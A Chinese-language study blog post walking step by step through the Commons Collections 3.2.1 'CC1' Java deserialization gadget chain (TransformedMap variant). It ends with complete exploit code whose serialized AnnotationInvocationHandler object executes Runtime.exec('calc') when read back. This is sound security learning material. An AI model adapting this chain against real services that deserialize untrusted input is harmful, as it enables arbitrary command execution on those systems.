CC1链(TransformedMap版)的学习

CC1链(TransformedMap版)

红烧花园宝宝:https://lxu2n.github.io/posts/9e8a5add/

白日梦组长视频:https://www.bilibili.com/video/BV1no4y1U7E1/?spm_id_from=333.1387.homepage.video_card.click

文章:https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/
文章出处:https://yschen20.github.io/2025/11/05/CC1链(TransformedMap版)/

环境搭建

新建一个Java项目,使用JDK8u65、Maven3.6.3

image-20251026095523827

image-20251026100433147

在项目根目录中的pom.xml中添加对CC1链的依赖包

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>CC1</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>
</project>

image-20251209155010971

可以importCC包验证一下,没有报错就是成功了

import org.apache.commons.collections.functors.InvokerTransformer;

直接解压缩JDK8u65的src压缩包,然后打开项目结构中的SDK,在源路径中将src导入进去

image-20251209155234372

image-20251209155253809

可以跑个程序验证一下,没报错就是成功

import org.apache.commons.collections.functors.InvokerTransformer;

public class Test {
    public static void main(String[] args) throws Exception{
        Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    }
}

image-20251209155317463

Common-Collections介绍

大佬文章:闪烁之狐

简单来说,Common-Collections 这个项目开发出来是为了给 Java 标准的 Collections API 提供了相当好的补充,在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充

包结构

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
  • org.apache.commons.collections.bag – 实现Bag接口的一组类
  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类
  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
  • org.apache.commons.collections.list – 实现java.util.List接口的一组类
  • org.apache.commons.collections.map – 实现Map系列接口的一组类
  • org.apache.commons.collections.set – 实现Set系列接口的一组类

攻击链分析

目的利用runtime

public class test {
    public static void main(String[] args) throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

反序列化的攻击思路

在入口类需要一个readObject方法,在结尾需要一个能够命令执行的方法,中间通过链子引导过去,从尾部出发去寻找头

先找到一个可以利用的类(调用可以执行命令的方法A),然后后再去找调用了这个方法A的方法B,然后继续找调用了方法B的方法C,就这样一直找,直到找到了readObject方法,对其重写

img

寻找实现类

因为Runtime类是不能序列化的,所以要使用反射才能调用类中的getRuntime方法、exec方法

image-20251027165224080

这个是我们注重分析的

image-20260203205834041

因为Runtime类是不能序列化的,所以要使用反射才能调用类中的getRuntime方法、exec方法

Transformer

Transformer接口,点击选中Transformer,快捷键ctrl+alt+B查看实现接口的类,可以发现:ChainedTransformerConstantTransformerInvokerTransformer这三个类

image-20260203210217689

ConstantTransformer

image-20260203210629286

 public Object transform(Object input) {
        return iConstant;
    }

这个意思是不管接受什么,都返回它本身

ChainedTransformer

看名字可得这个是链式的,

    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

    /**
     * Transforms the input to result via each decorated transformer
     * 
     * @param object  the input object passed to the first transformer
     * @return the transformed result
     */
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

大概作用是赋值的时候他会传一个调用方法的数组,把传进去的对象链式调用,前一个输出作为后一个的输入,递归调用

InvokerTransformer //重点

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

}

在这里接受一个对象然后反射调用,有方法值,参数类型,参数都可控,即任意方法调用,即攻击链分析的最后一点

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
 try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        }

攻击链构造

第一步

通过刚才分析已经明确了要使用InvokerTransformertransform方法的反射机制调用Runtime类的方法来构造命令执行

回顾一下如何构造普通反射:

### 方法一:使用Class.forName静态方法

```java
Class person1 = Class.forName("Person");
```

### 方法二:使用.class方法

```java
Class class2 = TestReflection.class;
```

### 方法三:使用对象.getClass方法

```java
TestReflection testReflection = new TestReflection();
Class class3 = testReflection.getClass();
```


image-20251121220640679

import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class test {
    public static void main(String[] args) throws Exception{
       // Runtime.getRuntime().exec("calc");
        Runtime r = Runtime.getRuntime();
        //获取类
        Class c = Runtime.class;
        //获取类方法
        Method execMethod = c.getMethod("exec", String.class);
        //反射调用,调用对象r,调用参数计算器
        execMethod.invoke(r,"calc");
    }
}

上面是普通反射,现在我们改用InvokerTransformer写法

InvokerTransformer要调用transform,并且需要参数名、类型、值,我们把类型和值都定义为数组

先看看InvokerTransformer的构造函数:

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

有三个参数:

  • methodName要调用的目标方法,这里可以传入getDeclaredMethod从而可以获得Runtime类的任意方法
  • paramTypes目标方法的参数类型数组,这里就是getDeclaredMethod的参数类型数组
    • 查看Class类中的getDeclaredMethod方法:
    • image-20251027182111984
    • 所以这里填入new Class[]{String.class,Class[].class}
  • args实际传给目标方法的参数,这里是要将getRuntime作为参数传给getDeclaredMethod方法,按照参数类型可以写为new Object[]{"getRuntime",null}
		Runtime r = Runtime.getRuntime();

        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

现在我们已经找到实现危险方法的一步了,应该找上一步,最终找到在入口类需要一个readObject方法

image-20260203215007906

第二步

InvokerTransformer.transformer是一个危险方法我们需要找谁调用了.transformer

我们跟进,选择查找用法

image-20260203215425951

image-20260203221125853

TransformedMap里有好几处都调用了transformer,我们查看checkSetValue方法里有``valueTransformer`

    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

我们查看该方法的构造函数

image-20260203221620134

protected肯定是自己调用

就要去找哪里可以实例化这个对象,可以找到decorate方法可以return一个实例化对象

image-20251027212857708

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

所以可以将decorate方法返回的实例化对象传给checkSetValue方法

那么我们选择需要新建一个map才能用这个吧

HashMap<Object,Object> map = new HashMap<>();

根据我们需要的参数来修饰map,keyTransformer, valueTransformer,还记得我们的入口吗checkSetValue

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

他只对value管用,对key无所谓,我们对key赋空值,出现了这个代码

        InvokerTransformer  invokerTransformer =  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

        HashMap<Object,Object> map = new HashMap<>();

        TransformedMap.decorate(map, null, invokerTransformer);

什么意思呢,当他在执行TransformedMap.decorate(map, null, invokerTransformer);的时候,会调用checkSetValue,而我们传给checkSetValueinvokerTransformer,就会走到invokerTransformer的方法,

第三步

继续向上找哪里调用了checkSetValue方法,可以发现在AbstractInputCheckedMapDecorator类中的MapEntry类中的setvalue方法中调用了

    static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

那么我们需要走到MapEntry里面

setValue->checkSetValue->TransformedMap->valueTransformer.transform

MapEntry相当于一个键值对,可以通过遍历进入,而进入后就能调用setValue方法

        for (Map.Entry entry : map.entrySet()) {
            entry.getValue();
        }

目前为止的代码

       Runtime r = Runtime.getRuntime();
        InvokerTransformer  invokerTransformer =  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

        HashMap<Object,Object> map = new HashMap<>();
        map.put("key","任意");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
//demo
        for (Map.Entry entry :transformedMap.entrySet()) {
            entry.setValue(r);//r方法
        }

第四步

到现在,我们需要找到谁能调用了setvalue

image-20260203230058821

image-20260203232958281

找到了,甚至是readObbject

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    String name = memberValue.getKey();
    Class<?> memberType = memberTypes.get(name);
    if (memberType != null) {  // i.e. member still exists
        Object value = memberValue.getValue();
        if (!(memberType.isInstance(value) ||
              value instanceof ExceptionProxy)) {
            memberValue.setValue(
                new AnnotationTypeMismatchExceptionProxy(
                    value.getClass() + "[" + value + "]").setMember(
                        annotationType.members().get(name)));
        }

依旧看方法,看构造函数

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

这里接收两个对象,一个是Class类的type参数,一个是Map类的memberValues参数,这里第二个参数就可以将构造好的decorate放进去,然后看第一个参数,是继承了Annotation的泛型,Annotation是个注解,注解就像是Override这样的

所以我们选择要实例化这个类然后尝试调用他,因为没有写public,所以一般是default,只有同一个包下的其他类,能直接访问这个类

那么我们必须使用反射性获取他并实例化

  Class  c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotation = c.getDeclaredConstructor(Class.class, Map.class);
        annotation.setAccessible(true);
		Object o = annotation.newInstance(Override.class,transformedMap);

选择用Object类来接受是因为AnnotationInvocationHandler无 public 修饰的包私有类Java 中所有的类,都会隐式继承java.lang.Object,Object 是所有类的唯一根父类

基于这个规则,Java 支持向上转型任何子类的对象,都可以直接赋值给父类类型的变量

对应到你的代码里:

  • AnnotationInvocationHandler 类(不管它是不是包私有),也隐式继承了 Object;
  • 所以它的实例对象,能直接赋值给Object类型的变量,这是 Java 语法天然允许的。

而且关键一点:Object类是public 的,在 Java 中任何地方都能引用,不会有任何权限问题,是唯一的 “万能接收类型”。

但是我们遇到了两个问题

第一个,我们setvalue的对象

                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));

AnnotationTypeMismatchExceptionProxy,好像控制不了

第二个,我们的runtime是我们自己写的,而runtime不能序列化,我们需要反射链子把runtime送出去,而且我们AnnotationInvocationHandler还有两个if没有满足

image-20260204001045705

先解决Runtime无法序列化问题

Runtime.class可以序列化

image-20260204001608522

Runtime类有个静态方法getRuntime会返回runtime,我们调用他就能序列化了

        Runtime.getRuntime();
        Class c = Runtime.class;
        Method getRuntimeMethod =  c.getMethod("getRuntime", null);
        Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);//赋值给runtime对象 //第一个null静态方法,第二个因为无参所以参数也是空的	
		Method execMethod = c.getMethod("exec", String.class);//反射调用execMethod方法
		execMethod.invoke(r,"calc");//调用

现在解决了第一个问题了,我们反射了,现在重新编写成我们需要的模样

        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);
        Runtime r = (Runtime)new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntimeMethod);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

这里我们发现一直循环调用InvokerTransformer,我们想到了ChainedTransformer有循环调用功能,可以简化

  Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
         ChainedTransformer chainedTransformer  = new ChainedTransformer(transformers);

现在解决走进if语句,实现setvalue函数

在if语句打上断点调试

image-20260204150055706

开始这里的type就是传入注解Override

然后调试到下面这里时就会获取到Override的成员变量

image-20251105003218923

不过之前看到了,实际上Override是没有成员变量的

image-20251105003642585

然后memberValue就是键值对,String name = memberValue.getKey();就是获取键值对的key,然后Class<?> memberType = memberTypes.get(name);就是会在memberTypes中查找这个key,最后发现查找到的是空的,memberType就是null了,所以就进不去第一个if里,也就不能达到想要的setValue方法

这里就需要改一下,从上面调试可以发现,会先获取传入的注解的成员方法,然后会在memberTypes查找这个成员方法,所以首先是要找一个有成员方法的Class注解,之前看到了Target是有一个成员方法value

image-20260204150316680

所以把Override改成Target

Object o = annotation.newInstance(Target.class,transformedMap);

再重新调试一次

image-20251105005026887

然后就会发现这里获取到的键值对的键是key,因为map.put("key","value");传入的就是key,而在Target注解中是没有key的,所以此时memberType还是null

所以map.put("key","value");这里也要改一下,其中的key要改成成员方法的名字value,这样才能查找到

map.put("value","任意");

重新调试

image-20260204151008542

可以看到此时获取到的键值对的键是valuememberType不再是null了,可以成功通过第一个if判断

第二个if是判断能不能强转,这里是肯定不能强转的,所以第二个if判断也可以通过

然后就到了想要的setValue方法了,这时候我们步入进去,如果我们能控制,就命令执行了

image-20260204151307139

一直步入我们到达了这个点

image-20260204151409503

//         chainedTransformer.transform(Runtime.class);
   //     valueTransformer.transformer(value)
这个两个是一样的

我们需要把value改成Runtime.class

但是在调试中可以看到此时的value是下面这个代理

img

就是AnnotationTypeMismatchExceptionProxy

image-20251105010640835

回想在攻击链分析时还看到一个类:ConstantTransformer,在这个类中的transform方法不管接收什么输入,都会返回预设的常量的值

所以在最后只要调用ConstantTransformer类的transform方法,就可以把AnnotationTypeMismatchExceptionProxy改成Runtime.class

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};

完整代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class test {
    public static void main(String[] args) throws Exception{
//        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);
//        Runtime r = (Runtime)new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntimeMethod);
//        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
         ChainedTransformer chainedTransformer  = new ChainedTransformer(transformers);
//         chainedTransformer.transform(Runtime.class);
   //     valueTransformer.transformer(value)

        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","任意");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class  c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotation = c.getDeclaredConstructor(Class.class, Map.class);
        annotation.setAccessible(true);
        Object o = annotation.newInstance(Target.class,transformedMap);

        serialize(o);
        unserialize("ser.bin");


        //Runtime.getRuntime();
      //  Class c = Runtime.class;
     //   Method getRuntimeMethod =  c.getMethod("getRuntime", null);
      // Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
     //   Method execMethod = c.getMethod("exec", String.class);
     //   execMethod.invoke(r,"calc");
//       // Runtime.getRuntime().exec("calc");
//       Runtime r = Runtime.getRuntime();
//        //获取类
//        Class c = Runtime.class;
//        //获取类方法
//        Method execMethod = c.getMethod("exec", String.class);
//        //反射调用,调用对象r,调用参数计算器
//        execMethod.invoke(r,"calc");
//        InvokerTransformer  invokerTransformer =  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});


//        for (Map.Entry entry :transformedMap.entrySet()) {
//            entry.setValue(r);
//        }

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws  IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

阶段 1:构造恶意的链式转换器(ChainedTransformer)

Transformer[] transformers = new Transformer[]{
        // 转换器1:常量转换器,无论输入是什么,都返回Runtime.class(Class对象)
        new ConstantTransformer(Runtime.class),
        // 转换器2:反射调用转换器,调用输入对象的getMethod方法
        new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),
        // 转换器3:反射调用转换器,调用输入对象的invoke方法
        new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
        // 转换器4:反射调用转换器,调用输入对象的exec方法
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer  = new ChainedTransformer(transformers);

输入 → 转换器1 → 输出Runtime.class → 转换器2 → 输出Method对象(getRuntime方法) → 转换器3 → 输出Runtime实例 → 转换器4 → 执行exec("calc") → 弹出计算器

阶段 2:构造被恶意转换器装饰的 TransformedMap

这一步是将链式转换器绑定到 Map 上,让 Map 成为 “触发转换器的容器”:

// 1. 创建普通HashMap,随便放一个键值对(key=value,value=任意值)
HashMap<Object,Object> map = new HashMap<>();
map.put("value","任意");
// 2. 用TransformedMap装饰普通Map,Key转换器为null(不处理Key),Value转换器为恶意的链式转换器
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

阶段 3:构造 AnnotationInvocationHandler 恶意对象(核心触发容器)

这一步是将恶意 TransformedMap 绑定到可序列化的 AnnotationInvocationHandler 上,为反序列化触发做准备:

// 1. 反射获取AnnotationInvocationHandler类(该类是包私有类,无法直接new)
Class  c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 2. 获取其构造器:参数为(注解Class,Map),该构造器是私有的
Constructor annotation = c.getDeclaredConstructor(Class.class, Map.class);
// 3. 突破访问权限,允许反射调用私有构造器
annotation.setAccessible(true);
// 4. 实例化:传入任意注解Class(Target.class),以及恶意的TransformedMap
Object o = annotation.newInstance(Target.class,transformedMap);

至此,整个链的触发闭环形成:

反序列化 → AnnotationInvocationHandler.readObject → 调用TransformedMap的setValue → 执行ChainedTransformer.transform → 链式执行4个基础转换器 → 反射执行Runtime.exec("calc")

反序列化AnnotationInvocationHandler对象 → 其readObject遍历并修改关联的TransformedMap的 Value → TransformedMap触发绑定的ChainedTransformer → 依次执行ConstantTransformer(Runtime.class)InvokerTransformer(getMethod)InvokerTransformer(invoke)InvokerTransformer(exec) → 反射调用Runtime.getRuntime().exec("calc") → 执行系统命令

posted @ 2026-02-04 15:56  paaai  阅读(63)  评论(1)    收藏  举报